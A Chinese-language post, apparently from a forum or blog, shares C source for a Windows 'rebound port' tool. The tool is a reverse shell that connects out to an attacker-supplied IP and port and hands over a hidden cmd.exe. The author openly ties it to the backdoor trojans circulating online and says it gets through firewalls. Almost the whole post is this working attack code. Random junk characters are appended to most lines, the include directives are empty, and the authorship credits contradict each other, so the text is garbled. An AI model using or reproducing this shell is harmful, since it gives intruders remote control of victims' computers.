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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ZUS06# t}  
rW+}3] !D/  
/* ============================== lS?#(}a1)  
Rebound port in Windows NT @4$la'XSx  
By wind,2006/7 .:=5|0m  
===============================*/ Ehq [4}  
#include |OIU)53A-  
#include Se>v|6  
h]&o)%{4  
#pragma comment(lib,"wsock32.lib") _7 ^:1i~:.  
<(l`zLf4p  
void OutputShell(); YwZ ]J  
SOCKET sClient; [= Xb*~  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; IGo+O*dMw  
Jt3*(+J>/  
void main(int argc,char **argv) 8d(l)[GZt  
{ Dlz1"|SF  
WSADATA stWsaData; }j{Z &(K  
int nRet; '`j MNKn\  
SOCKADDR_IN stSaiClient,stSaiServer; OV`li#H  
J:G{  
if(argc != 3) W&7(  
{ BzTzIo5  
printf("Useage:\n\rRebound DestIP DestPort\n"); @>`qfy?  
return; fYlqaO4[  
} +@~e9ZG%a  
dw%g9DT  
WSAStartup(MAKEWORD(2,2),&stWsaData); @#yl_r%  
;WG%)^e  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Rg3g:TV9c  
ynJ)6n7a  
stSaiClient.sin_family = AF_INET; MJU*Sq  
stSaiClient.sin_port = htons(0); 68~5Dx  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Zi<(>@z2  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ~|{_Go{ Q  
{ |{La@X  
printf("Bind Socket Failed!\n"); `t+;[G>ZE  
return; FBa- gm<9  
} L$^)QxH7  
>J{e_C2ZS  
stSaiServer.sin_family = AF_INET; hHgH'  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); rVwW%&  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); @/xdWN!,  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) <DhuY/o  
{ 2\CZ"a#[  
printf("Connect Error!"); ]PB95%  
return; 7Ac.^rv5  
} jWso'K  
OutputShell(); y0'WB`hNQ  
} I(<Trn  
'N`x@(  
void OutputShell() BwVq:)P/R  
{ vd/BO  
char szBuff[1024]; 8L[\(~Zf  
SECURITY_ATTRIBUTES stSecurityAttributes; #4V->I  
OSVERSIONINFO stOsversionInfo; d}wE4(]b  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; EjP)e;  
STARTUPINFO stStartupInfo; .2y @@g  
char *szShell; 9H2mA$2jnE  
PROCESS_INFORMATION stProcessInformation; K6,d{n  
unsigned long lBytesRead; !8tqYY?>@\  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); " s/ws  
_~;K]  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); -i]2 b  
stSecurityAttributes.lpSecurityDescriptor = 0; ? 8)k6:  
stSecurityAttributes.bInheritHandle = TRUE; uM9Gj@_  
*r ('A  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); rd,!-w5  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); )"%J~:`h}  
dJ~Occ1~r  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); \"d\b><R  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; uCgJ F@  
stStartupInfo.wShowWindow = SW_HIDE; be [E^%  
stStartupInfo.hStdInput = hReadPipe; Fe2t[y:8h  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ;8cTy8  
ek d[|g  
GetVersionEx(&stOsversionInfo); %K0Wm#)  
jVna;o)  
switch(stOsversionInfo.dwPlatformId) #-l+c u{  
{ =[0| qGzg  
case 1: q-S#[I+g  
szShell = "command.com"; tO3#kV\,  
break; IV%Rph>d  
default: z}Vg4\x&  
szShell = "cmd.exe"; 0|,Ij $  
break; 67U6`9d  
} &&C'\,ZK5  
[S0wwWU |0  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); P.djR)YI  
JO~62='J  
send(sClient,szMsg,77,0); azG"Mt |7Z  
while(1) b]*OGp4]5  
{ }\1IsK~P  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); &td   
if(lBytesRead) N w/it*f  
{ -}RGz_LO/  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); "om[S :ai  
send(sClient,szBuff,lBytesRead,0); 8&CQx*  
} xEufbFAN?  
else b`;Cm)@X!)  
{ GyfKSj;  
lBytesRead=recv(sClient,szBuff,1024,0); O"wo&5b_  
if(lBytesRead<=0) break; HIda%D  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ?>My&yB  
} AmrVxn4  
} H% FP!03  
9{Igw"9ck  
return; 3il$V78|  
}
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